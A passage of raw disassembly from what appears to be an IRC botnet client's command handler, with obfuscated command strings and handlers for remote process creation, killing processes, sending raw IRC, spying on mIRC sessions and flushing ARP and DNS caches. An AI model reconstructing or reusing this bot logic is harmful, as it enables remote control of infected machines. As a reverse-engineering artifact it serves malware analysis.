loc_40C531: ; CODE XREF: sub_40A938+1BDBj
cmp [ebp+arg_18], eax
jz loc_4148CF
loc_40C53A: ; CODE XREF: sub_40A938+1BE0j
push ebx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push dword ptr [esi+0Ch]
jmp loc_4146CD
; ---------------------------------------------------------------------------
loc_40C549: ; CODE XREF: sub_40A938+1B7Dj
push dword ptr [ebx]
push offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
call edi ; dword_437174
test eax, eax
jnz loc_40C628
push 4
call sub_423756
xor edi, edi
pop ecx
cmp eax, edi
mov [ebp+arg_C], eax
jle short loc_40C575
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_40C575: ; CODE XREF: sub_40A938+1C31j
mov eax, [ebp+arg_10]
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aS2maintenance_ ; "%s /2Maintenance./2"
push 4
mov [ebp+var_2638], eax
call sub_4233DE
add esp, 0Ch
mov [ebp+var_25B4], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_2638]
push edi
push eax
push offset sub_41EB23
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_25B4]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_4148CF
cmp [ebp+arg_14], 0
mov ebx, offset aSS_ ; "%s %s."
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
jnz short loc_40C5F6
cmp [ebp+arg_18], 0
jnz short loc_40C5FC
push edi
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40C5F6: ; CODE XREF: sub_40A938+1CA1j
cmp [ebp+arg_18], 0
jz short loc_40C61A
loc_40C5FC: ; CODE XREF: sub_40A938+1CA7j
push edi
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
jmp short loc_40C61A
; ---------------------------------------------------------------------------
loc_40C612: ; CODE XREF: sub_40A938+1CE9j
push 32h
call dword_43718C ; Sleep
loc_40C61A: ; CODE XREF: sub_40A938+1CC2j
; sub_40A938+1CD8j
cmp [ebp+var_257C], 0
jz short loc_40C612
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40C628: ; CODE XREF: sub_40A938+1C1Cj
push dword ptr [ebx]
push offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_40C641
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push 4
jmp loc_412BDB
; ---------------------------------------------------------------------------
loc_40C641: ; CODE XREF: sub_40A938+1CFBj
push dword ptr [ebx]
push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
call edi ; dword_437174
test eax, eax
jz loc_4146DD
push dword ptr [ebx]
push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
call edi ; dword_437174
test eax, eax
jz loc_4146DD
push dword ptr [ebx]
push offset a47ff020f_0_ ; "47Ff/020f.0."
call edi ; dword_437174
test eax, eax
jnz loc_40C77A
mov eax, [ebp+arg_10]
push offset dword_443EFC
mov [ebp+var_CE4], eax
mov eax, [ebp+arg_14]
mov [ebp+var_C58], eax
mov eax, [ebp+arg_18]
mov [ebp+var_C54], eax
mov eax, [ebp+arg_20]
mov [ebp+var_C50], eax
lea eax, [ebp+var_CE0]
push eax
call dword_4370A4 ; lstrcpyA
mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
push ebx
push offset aSBkillThread_ ; "%s BKill thread."
push 1
call sub_4233DE
add esp, 0Ch
cmp [ebp+arg_14], 0
mov [ebp+var_C60], eax
mov edi, offset aSBkillS ; "%s BKill %s"
jnz short loc_40C6EB
cmp [ebp+arg_18], 0
jnz short loc_40C6F1
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40C6EB: ; CODE XREF: sub_40A938+1D96j
cmp [ebp+arg_18], 0
jz short loc_40C705
loc_40C6F1: ; CODE XREF: sub_40A938+1D9Cj
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
push ebx
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
loc_40C705: ; CODE XREF: sub_40A938+1DB7j
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_CE4]
push edi
push eax
push offset sub_41F02F
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_C60]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_40C76D
loc_40C736: ; CODE XREF: sub_40A938+1FF7j
; sub_40A938+212Fj ...
cmp [ebp+arg_14], 0
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz loc_40C154
cmp [ebp+arg_18], 0
jnz loc_414849
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push ebx
push edi
push dword ptr [esi+0Ch]
jmp loc_40C149
; ---------------------------------------------------------------------------
loc_40C765: ; CODE XREF: sub_40A938+1E3Bj
push 32h
call dword_43718C ; Sleep
loc_40C76D: ; CODE XREF: sub_40A938+1DFCj
cmp [ebp+var_C4C], edi
jz short loc_40C765
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40C77A: ; CODE XREF: sub_40A938+1D36j
push dword ptr [ebx]
push offset aHyomeIovtv_ ; "HyOMe/iovtV."
call edi ; dword_437174
test eax, eax
jnz loc_40CA8F
xor ecx, ecx
cmp [ebx+4], ecx
jnz short loc_40C7D1
cmp [ebp+arg_14], ecx
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40C7BB
cmp [ebp+arg_18], ecx
loc_40C7A4: ; CODE XREF: sub_40A938+1F53j
; sub_40A938+1F93j
jnz short loc_40C7C5
push ebx
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40C7BB: ; CODE XREF: sub_40A938+1E67j
; sub_40A938+1F4Aj ...
cmp [ebp+arg_18], 0
loc_40C7BF: ; CODE XREF: sub_40A938+2068j
jz loc_4148CF
loc_40C7C5: ; CODE XREF: sub_40A938:loc_40C7A4j
; sub_40A938+2048j
push ebx
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
loc_40C7CB: ; CODE XREF: sub_40A938+483Fj
; sub_40A938+496Dj ...
push edi
jmp loc_4146CB
; ---------------------------------------------------------------------------
loc_40C7D1: ; CODE XREF: sub_40A938+1E58j
mov eax, [ebp+arg_14]
mov edx, [ebp+arg_20]
mov [ebp+var_428], eax
mov eax, [ebp+arg_18]
mov [ebp+var_424], eax
cmp eax, ecx
mov [ebp+var_42C], edx
lea eax, [ebp+var_4D8]
jnz short loc_40C7FB
push dword ptr [esi+0Ch]
jmp short loc_40C7FD
; ---------------------------------------------------------------------------
loc_40C7FB: ; CODE XREF: sub_40A938+1EBCj
push dword ptr [esi]
loc_40C7FD: ; CODE XREF: sub_40A938+1EC1j
push eax
call dword_4370A4 ; lstrcpyA
xor eax, eax
mov [ebp+var_448], eax
mov [ebp+var_444], eax
mov [ebp+var_440], eax
mov eax, [ebp+arg_10]
mov [ebp+var_4DC], eax
push dword ptr [ebx+4]
push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1"
call edi ; dword_437174
test eax, eax
jnz short loc_40C860
push 2
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40C848
mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_40C848: ; CODE XREF: sub_40A938+1F04j
mov [ebp+var_448], 1
mov ebx, [ebx+8]
mov [ebp+var_450], ebx
jmp loc_40C8E5
; ---------------------------------------------------------------------------
loc_40C860: ; CODE XREF: sub_40A938+1EF5j
push dword ptr [ebx+4]
push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
call edi ; dword_437174
test eax, eax
jnz short loc_40C89C
mov ebx, [ebx+8]
cmp ebx, eax
jnz short loc_40C890
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz loc_40C7BB
cmp [ebp+arg_18], eax
jmp loc_40C7A4
; ---------------------------------------------------------------------------
loc_40C890: ; CODE XREF: sub_40A938+1F3Bj
mov [ebp+var_444], 1
jmp short loc_40C8D9
; ---------------------------------------------------------------------------
loc_40C89C: ; CODE XREF: sub_40A938+1F34j
push dword ptr [ebx+4]
push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
call edi ; dword_437174
test eax, eax
jnz loc_40C957
mov ebx, [ebx+8]
test ebx, ebx
jnz short loc_40C8D0
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz loc_40C7BB
cmp [ebp+arg_18], eax
jmp loc_40C7A4
; ---------------------------------------------------------------------------
loc_40C8D0: ; CODE XREF: sub_40A938+1F7Bj
xor eax, eax
inc eax
mov [ebp+var_444], eax
loc_40C8D9: ; CODE XREF: sub_40A938+1F62j
mov [ebp+var_454], ebx
mov [ebp+var_440], eax
loc_40C8E5: ; CODE XREF: sub_40A938+1F23j
mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
push ebx
push offset aSProcs ; "%s Procs"
push 2
call sub_4233DE
add esp, 0Ch
mov [ebp+var_458], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_4DC]
push edi
push eax
push offset sub_41F7B0
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_458]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_40C736
cmp [ebp+var_420], edi
jnz loc_4148CF
loc_40C941: ; CODE XREF: sub_40A938+2018j
push 32h
call dword_43718C ; Sleep
cmp [ebp+var_420], 0
jz short loc_40C941
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40C957: ; CODE XREF: sub_40A938+1F70j
push dword ptr [ebx+4]
push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
cmp [ebx+8], eax
jnz short loc_40C9A5
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40C99D
cmp [ebp+arg_18], eax
jnz loc_40C7C5
push ebx
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
xor eax, eax
loc_40C99D: ; CODE XREF: sub_40A938+2043j
cmp [ebp+arg_18], eax
jmp loc_40C7BF
; ---------------------------------------------------------------------------
loc_40C9A5: ; CODE XREF: sub_40A938+2034j
xor ecx, ecx
inc ecx
cmp [ebx+0Ch], eax
jz short loc_40C9B3
mov [ebp+var_448], ecx
loc_40C9B3: ; CODE XREF: sub_40A938+2073j
cmp [ebp+arg_3C], eax
jz short loc_40C9BE
mov [ebp+var_444], ecx
loc_40C9BE: ; CODE XREF: sub_40A938+207Ej
push dword ptr [ebx+8]
lea eax, [ebp+var_63D4]
push eax
call sub_429A33
xor edi, edi
pop ecx
cmp [ebp+arg_34], edi
pop ecx
jz short loc_40CA11
cmp [ebp+arg_38], 0
mov bl, 5Fh
jz short loc_40C9E1
mov bl, [ebp+arg_38]
loc_40C9E1: ; CODE XREF: sub_40A938+20A4j
push [ebp+var_454]
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40CA11
loc_40C9F1: ; CODE XREF: sub_40A938+20D7j
mov eax, [ebp+var_454]
add eax, edi
cmp [eax], bl
jnz short loc_40CA00
mov byte ptr [eax], 20h
loc_40CA00: ; CODE XREF: sub_40A938+20C3j
push [ebp+var_454]
inc edi
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_40C9F1
loc_40CA11: ; CODE XREF: sub_40A938+209Cj
; sub_40A938+20B7j
mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp+var_63D4]
push ebx
push offset aSCreateProcess ; "%s Create process thread."
push 2
mov [ebp+var_454], eax
call sub_4233DE
add esp, 0Ch
mov [ebp+var_458], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_4DC]
push edi
push eax
push offset sub_41F46D
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_458]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_40C736
cmp [ebp+var_420], edi
jnz loc_4148CF
loc_40CA79: ; CODE XREF: sub_40A938+2150j
push 32h
call dword_43718C ; Sleep
cmp [ebp+var_420], 0
jz short loc_40CA79
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40CA8F: ; CODE XREF: sub_40A938+1E4Dj
push dword ptr [ebx]
push offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
call edi ; dword_437174
test eax, eax
jnz loc_40CC42
push 0Ch
call sub_423756
test eax, eax
pop ecx
mov ebx, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
jle short loc_40CACD
push ebx
push 0Ch
push 0
push [ebp+arg_20]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [esi+0Ch]
call sub_42358B
add esp, 20h
loc_40CACD: ; CODE XREF: sub_40A938+2177j
cmp dword_457F48, 0
jnz short loc_40CAEE
call sub_429ACC
cdq
mov ecx, 0BBFFh
idiv ecx
add edx, 66h
mov dword_45641C, edx
jmp short loc_40CAFA
; ---------------------------------------------------------------------------
loc_40CAEE: ; CODE XREF: sub_40A938+219Cj
movzx eax, word_443982
mov dword_45641C, eax
loc_40CAFA: ; CODE XREF: sub_40A938+21B4j
and dword_456418, 0
mov edi, offset dword_45620C
push 104h
push edi
push 0
call dword_437178 ; GetModuleFileNameA
push 103h
push offset dword_443990
push offset dword_456310
call sub_429C40
and dword_4564AC, 0
push 7Fh
push offset dword_443EF4
push offset dword_456420
call sub_429C40
mov eax, [ebp+arg_14]
push edi
push offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
mov dword_454A28, eax
mov eax, [ebp+arg_18]
push dword_45641C
mov dword_454A30, eax
mov eax, [ebp+arg_20]
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
mov dword_454A2C, eax
mov eax, [ebp+arg_10]
push ebx
push offset aSSOnSISS_ ; "%s %s on %s: %i, %s: %s."
push 0Ch
mov dword_4564B0, eax
call sub_4233DE
add esp, 38h
mov dword_456414, eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
push edi
push offset dword_456208
push offset sub_402CBA
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, dword_456414
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_40C736
jmp short loc_40CBC8
; ---------------------------------------------------------------------------
loc_40CBC0: ; CODE XREF: sub_40A938+2297j
push 32h
call dword_43718C ; Sleep
loc_40CBC8: ; CODE XREF: sub_40A938+2286j
cmp dword_4564AC, 0
jz short loc_40CBC0
xor eax, eax
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
cmp [ebp+arg_14], eax
jnz short loc_40CC11
cmp [ebp+arg_18], eax
jnz short loc_40CC1B
cmp [ebp+arg_1C], eax
jnz loc_4148CF
push dword_456414
push dword_45641C
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push edi
push ebx
push offset aSSOnSIThreadNu ; "%s %s on %s: %i, thread number: %i."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 20h
loc_40CC11: ; CODE XREF: sub_40A938+22A3j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40CC1B: ; CODE XREF: sub_40A938+22A8j
push dword_456414
push dword_45641C
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push edi
push ebx
push offset aSSOnSIThreadNu ; "%s %s on %s: %i, thread number: %i."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
jmp loc_412BF1
; ---------------------------------------------------------------------------
loc_40CC42: ; CODE XREF: sub_40A938+2162j
push dword ptr [ebx]
push offset aAjttz06ztse1 ; "ajTtz06Ztse1"
call edi ; dword_437174
test eax, eax
jnz short loc_40CC65
mov ecx, [ebp+arg_10]
call sub_41DA92
mov ecx, [ebp+arg_10]
push eax
call sub_41CE5F
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40CC65: ; CODE XREF: sub_40A938+2315j
push dword ptr [ebx]
push offset aUn3hk0sn58o ; "uN3hk0sn58o/"
call edi ; dword_437174
test eax, eax
jnz short loc_40CC94
mov eax, [ebx+4]
test eax, eax
jz short loc_40CCCE
mov ebx, [ebx+8]
test ebx, ebx
jnz short loc_40CC85
mov ebx, offset byte_454A34
loc_40CC85: ; CODE XREF: sub_40A938+2346j
mov ecx, [ebp+arg_10]
push ebx
push eax
call sub_41CFD5
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40CC94: ; CODE XREF: sub_40A938+2338j
push dword ptr [ebx]
push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_40CCB6
mov ebx, [ebx+4]
test ebx, ebx
jz short loc_40CCCE
mov ecx, [ebp+arg_10]
push ebx
call sub_41D000
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40CCB6: ; CODE XREF: sub_40A938+2367j
push dword ptr [ebx]
push offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
call edi ; dword_437174
test eax, eax
jnz loc_40CD82
mov eax, [ebx+4]
test eax, eax
jnz short loc_40CCD8
loc_40CCCE: ; CODE XREF: sub_40A938+233Fj
; sub_40A938+236Ej
mov edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_40CCD8: ; CODE XREF: sub_40A938+2394j
push eax
lea eax, [ebp+var_443A0]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 2
pop edi
cmp [ebp+arg_4], edi
jle short loc_40CD2F
loc_40CCF5: ; CODE XREF: sub_40A938+23F5j
mov eax, [ebx+edi*4]
test eax, eax
jz short loc_40CD29
push eax
lea eax, [ebp+var_15D70]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_15D70]
push 2710h
push eax
lea eax, [ebp+var_443A0]
push eax
call sub_429910
add esp, 18h
loc_40CD29: ; CODE XREF: sub_40A938+23C2j
inc edi
cmp edi, [ebp+arg_4]
jl short loc_40CCF5
loc_40CD2F: ; CODE XREF: sub_40A938+23BBj
lea eax, [ebp+var_443A0]
push eax
push [ebp+arg_10]
call sub_41D027
cmp [ebp+arg_14], 0
pop ecx
pop ecx
mov edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
mov ebx, offset aSSentIrcRawS_ ; "%s Sent IRC raw: \"%s\"."
jnz short loc_40CD6D
cmp [ebp+arg_18], 0
jnz short loc_40CD77
lea eax, [ebp+var_443A0]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40CD6D: ; CODE XREF: sub_40A938+2416j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40CD77: ; CODE XREF: sub_40A938+241Cj
lea eax, [ebp+var_443A0]
jmp loc_40B033
; ---------------------------------------------------------------------------
loc_40CD82: ; CODE XREF: sub_40A938+2389j
push dword ptr [ebx]
push offset aM1d_716jg1r1 ; "M1d.716Jg1r1"
call edi ; dword_437174
test eax, eax
jnz loc_40D14C
mov eax, [ebx+4]
test eax, eax
jnz loc_40D0B2
mov edi, offset aMirc ; "mIRC"
push eax
push edi
call dword_456F24 ; FindWindowA
test eax, eax
mov [ebp+arg_4], eax
jz loc_40D075
push edi
xor edi, edi
push 1000h
push edi
push 4
push edi
push 0FFFFFFFFh
call dword_4370B8 ; CreateFileMappingA
push edi
push edi
push edi
push 0F001Fh
push eax
mov [ebp+arg_68], eax
call dword_437040 ; MapViewOfFile
mov [ebp+arg_C], eax
push 10h
lea eax, [ebp+var_314]
push edi
push eax
call sub_429690
push offset aVersion ; "$version"
push [ebp+arg_C]
call sub_429A33
add esp, 14h
mov ebx, 4C9h
push edi
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
mov edi, offset aS_5 ; "%s"
lea eax, [ebp+var_314]
push edi
push 10h
push eax
call sub_429AEE
push 10h
lea eax, [ebp+var_2E4]
push 0
push eax
call sub_429690
push offset off_4416A8
push [ebp+arg_C]
call sub_429A33
add esp, 24h
push 0
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_2E4]
push edi
push 10h
push eax
call sub_429AEE
push 9Fh
lea eax, [ebp+var_2C20]
push 0
push eax
call sub_429690
push offset aServer_0 ; "$server"
push [ebp+arg_C]
call sub_429A33
add esp, 24h
push 0
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_2C20]
push edi
push 9Fh
push eax
call sub_429AEE
push 10h
push 0
lea eax, [ebp+var_304]
push eax
call sub_429690
push offset aServerip ; "$serverip"
push [ebp+arg_C]
call sub_429A33
add esp, 24h
push 0
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_304]
push edi
push 10h
push eax
call sub_429AEE
push 8
lea eax, [ebp+var_58]
push 0
push eax
call sub_429690
push offset aPort_0 ; "$port"
push [ebp+arg_C]
call sub_429A33
add esp, 24h
push 0
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_58]
push edi
push 8
push eax
call sub_429AEE
push 2710h
lea eax, [ebp+var_18480]
push 0
push eax
call sub_429690
push offset aChan0 ; "$chan(0)"
push [ebp+arg_C]
call sub_429A33
add esp, 24h
xor edi, edi
inc edi
push 0
push edi
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_174]
push 10h
push eax
call sub_429AEE
lea eax, [ebp+var_174]
push eax
call sub_42A030
add esp, 10h
cmp eax, edi
jl loc_40D010
loc_40CF82: ; CODE XREF: sub_40A938+26D2j
push edi
push offset aChanI ; "$chan(%i)"
push [ebp+arg_C]
call sub_429A33
add esp, 0Ch
push 0
push 1
push ebx
push [ebp+arg_4]
call dword_456F7C ; SendMessageA
push [ebp+arg_C]
lea eax, [ebp+var_18480]
push eax
call sub_42A510
lea eax, [ebp+var_174]
push eax
call sub_42A030
add esp, 0Ch
cmp edi, eax
jge short loc_40CFD6
lea eax, [ebp+var_18480]
push offset asc_4413F8 ; ", "
push eax
call sub_42A510
pop ecx
pop ecx
loc_40CFD6: ; CODE XREF: sub_40A938+2689j
lea eax, [ebp+var_174]
push eax
call sub_42A030
cmp edi, eax
pop ecx
jnz short loc_40CFFA
lea eax, [ebp+var_18480]
push offset dword_43AB8C
push eax
call sub_42A510
pop ecx
pop ecx
loc_40CFFA: ; CODE XREF: sub_40A938+26ADj
lea eax, [ebp+var_174]
inc edi
push eax
call sub_42A030
cmp edi, eax
pop ecx
jle loc_40CF82
loc_40D010: ; CODE XREF: sub_40A938+2644j
lea eax, [ebp+var_18480]
cmp [ebp+arg_18], 0
push eax
lea eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_304]
push eax
lea eax, [ebp+var_2C20]
push eax
lea eax, [ebp+var_314]
push eax
push offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
push offset aSUserIsRunning ; "%s User is running mIRC v %s, Connected"...
jnz short loc_40D054
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
jmp short loc_40D05E
; ---------------------------------------------------------------------------
loc_40D054: ; CODE XREF: sub_40A938+270Dj
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
loc_40D05E: ; CODE XREF: sub_40A938+271Aj
add esp, 28h
push [ebp+arg_C]
call dword_437048 ; UnmapViewOfFile
push [ebp+arg_68]
call dword_437044 ; CloseHandle
jmp short loc_40D099
; ---------------------------------------------------------------------------
loc_40D075: ; CODE XREF: sub_40A938+2478j
cmp [ebp+arg_14], 0
jnz short loc_40D099
cmp [ebp+arg_18], 0
jnz short loc_40D0A3
push offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
push offset aSClientNotOpen ; "%s Client not open."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40D099: ; CODE XREF: sub_40A938+273Bj
; sub_40A938+2741j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40D0A3: ; CODE XREF: sub_40A938+2747j
push offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
push offset aSClientNotOpen ; "%s Client not open."
jmp loc_41467E
; ---------------------------------------------------------------------------
loc_40D0B2: ; CODE XREF: sub_40A938+2460j
push eax
lea eax, [ebp+var_2B80]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 2
pop edi
cmp [ebp+arg_4], edi
jle short loc_40D109
loc_40D0CF: ; CODE XREF: sub_40A938+27CFj
mov eax, [ebx+edi*4]
test eax, eax
jz short loc_40D103
push eax
lea eax, [ebp+var_1AB90]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_1AB90]
push 104h
push eax
lea eax, [ebp+var_2B80]
push eax
call sub_429910
add esp, 18h
loc_40D103: ; CODE XREF: sub_40A938+279Cj
inc edi
cmp edi, [ebp+arg_4]
jl short loc_40D0CF
loc_40D109: ; CODE XREF: sub_40A938+2795j
lea eax, [ebp+var_2B80]
push eax
call sub_426C22
test eax, eax
pop ecx
lea eax, [ebp+var_2B80]
push eax
push offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
jz short loc_40D12D
push offset aSCommandSentS ; "%s Command sent: \"%s\""
jmp short loc_40D132
; ---------------------------------------------------------------------------
loc_40D12D: ; CODE XREF: sub_40A938+27ECj
push offset aSClientNotOp_0 ; "%s Client not open or found: \"%s\""
loc_40D132: ; CODE XREF: sub_40A938+27F3j
; sub_40A938+2941j ...
cmp [ebp+arg_18], 0
jnz loc_4146CB
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
jmp loc_4146D5
; ---------------------------------------------------------------------------
loc_40D14C: ; CODE XREF: sub_40A938+2455j
push dword ptr [ebx]
push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
call edi ; dword_437174
test eax, eax
jnz short loc_40D17A
call sub_427E13
test eax, eax
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov edi, offset aSArpFlushed_ ; "%s ARP flushed."
jnz loc_40B57A
mov edi, offset aSFailedToFlush ; "%s Failed to flush ARP."
jmp loc_40B57A
; ---------------------------------------------------------------------------
loc_40D17A: ; CODE XREF: sub_40A938+281Fj
push dword ptr [ebx]
push offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
call edi ; dword_437174
test eax, eax
jnz short loc_40D1B9
mov eax, dword_456DF4
test eax, eax
jz short loc_40D1AF
call eax ; dword_456DF4
test eax, eax
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jz short loc_40D1A5
mov edi, offset aSDnsCacheFlush ; "%s DNS cache flushed."
jmp loc_40B57A
; ---------------------------------------------------------------------------
loc_40D1A5: ; CODE XREF: sub_40A938+2861j
mov edi, offset aSFailedToFlu_0 ; "%s Failed to flush DNS cache."
jmp loc_40B57A
; ---------------------------------------------------------------------------
loc_40D1AF: ; CODE XREF: sub_40A938+2856j
mov edi, offset aSFailedToLoadD ; "%s Failed to load dnsapi.dll."
jmp loc_40B575
; ---------------------------------------------------------------------------
loc_40D1B9: ; CODE XREF: sub_40A938+284Dj
push dword ptr [ebx]
push offset a6x2ka0buubb_ ; "6x2Ka0buUbB."
call edi ; dword_437174
test eax, eax
jnz loc_40D27E
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D208
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
loc_40D1DB: ; CODE XREF: sub_40A938+2A7Cj
; sub_40A938+937Ej
cmp [ebp+arg_14], 0
jnz short loc_40D1F7
cmp [ebp+arg_18], 0
loc_40D1E5: ; CODE XREF: sub_40A938+4EB3j
; sub_40A938+519Cj
jnz short loc_40D201
loc_40D1E7: ; CODE XREF: sub_40A938+9275j
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40D1F7: ; CODE XREF: sub_40A938+28A7j
; sub_40A938+4EAAj ...
cmp [ebp+arg_18], 0
loc_40D1FB: ; CODE XREF: sub_40A938+617Fj
jz loc_4148CF
loc_40D201: ; CODE XREF: sub_40A938:loc_40D1E5j
; sub_40A938+6164j ...
push edi
loc_40D202: ; CODE XREF: sub_40A938+9171j
